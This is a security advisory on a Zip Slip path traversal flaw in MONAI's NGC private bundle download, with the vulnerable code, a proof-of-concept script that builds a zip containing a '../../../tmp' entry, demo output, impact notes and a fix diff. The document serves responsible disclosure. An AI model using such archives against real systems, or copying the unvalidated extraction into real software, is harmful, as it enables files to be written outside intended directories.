Описание
MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download
Summary
A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.
This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Details
Vulnerable Code Location
File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()
# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
z.extractall(extract_path) # <-- No path validation
logger.info(f"Writing into directory: {extract_path}.")
Root Cause
The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.
Safe Code Already Exists
MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:
def safe_extract_member(member, extract_to):
"""Securely verify compressed package member paths to prevent path traversal attacks"""
# ... path validation logic ...
if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
raise ValueError(f"Unsafe path detected in archive: {member_path}")
# Ensure path stays within extraction root
if os.path.commonpath([extract_root, target_real]) != extract_root:
raise ValueError(f"Unsafe path: path traversal {member_path}")
Comparison with Other Download Functions
| Function | File | Uses Safe Extraction? |
|---|
_download_from_github() | scripts.py:198 | ✅ Yes (via extractall() wrapper) |
_download_from_monaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) |
_download_from_bundle_info() | scripts.py:215 | ✅ Yes (via extractall() wrapper) |
_download_from_ngc_private() | scripts.py:292 | ❌ No (direct z.extractall()) |
PoC
Step 1: Create a Malicious Zip File
#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io
def create_malicious_zip(output_path="malicious_bundle.zip"):
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
# Normal bundle file
zf.writestr(
"monai_test_bundle/configs/metadata.json",
'{"name": "test_bundle", "version": "1.0.0"}'
)
# Path traversal entry
zf.writestr(
"../../../tmp/escaped_file.txt",
"This file was written outside the extraction directory.\n"
)
with open(output_path, 'wb') as f:
f.write(zip_buffer.getvalue())
print(f"Created: {output_path}")
with zipfile.ZipFile(output_path, 'r') as zf:
print("Contents:")
for name in zf.namelist():
print(f" - {name}")
if __name__ == "__main__":
create_malicious_zip()
Output:
Created: malicious_bundle.zip
Contents:
- monai_test_bundle/configs/metadata.json
- ../../../tmp/escaped_file.txt
Step 2: Demonstrate the Difference
This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):
#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os
def vulnerable_extraction(zip_path, extract_path):
"""Pattern used in monai/bundle/scripts.py:291-292"""
os.makedirs(extract_path, exist_ok=True)
with zipfile.ZipFile(zip_path, "r") as z:
z.extractall(extract_path)
print("[VULNERABLE] Extraction completed without validation")
def safe_extraction(zip_path, extract_path):
"""Pattern used in monai/apps/utils.py"""
os.makedirs(extract_path, exist_ok=True)
with zipfile.ZipFile(zip_path, "r") as zf:
for member in zf.infolist():
member_path = os.path.normpath(member.filename)
# Check for path traversal
if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
print(f"[SAFE] BLOCKED: {member.filename}")
continue
print(f"[SAFE] Allowed: {member.filename}")
# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
vulnerable_extraction("malicious_bundle.zip", tmpdir)
for root, dirs, files in os.walk(tmpdir):
for f in files:
rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
print(f" Extracted: {rel_path}")
print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
safe_extraction("malicious_bundle.zip", tmpdir)
Output:
==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
Extracted: monai_test_bundle/configs/metadata.json
Extracted: tmp/escaped_file.txt
==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt
Impact
Conditions Required for Exploitation
- Attacker must control or compromise an NGC private repository
- Victim must configure MONAI to download from that repository
- Victim must use
source="ngc_private" parameter
Potential Impact
If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:
- The permissions of the user running MONAI
- The target location of the escaped files
- Python version (newer versions have some built-in path normalization)
Mitigating Factors
- Requires attacker to control an NGC private repository
- Modern Python versions (3.12+) have some built-in path normalization
- The
ngc_private source is less commonly used than other sources
Recommended Fix
Replace the direct extractall() call with MONAI's existing safe extraction:
# monai/bundle/scripts.py
+ from monai.apps.utils import _extract_zip
def _download_from_ngc_private(...):
# ... existing code ...
extract_path = download_path / f"{filename}"
- with zipfile.ZipFile(zip_path, "r") as z:
- z.extractall(extract_path)
- logger.info(f"Writing into directory: {extract_path}.")
+ _extract_zip(zip_path, extract_path)
+ logger.info(f"Writing into directory: {extract_path}.")
This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.
Resources
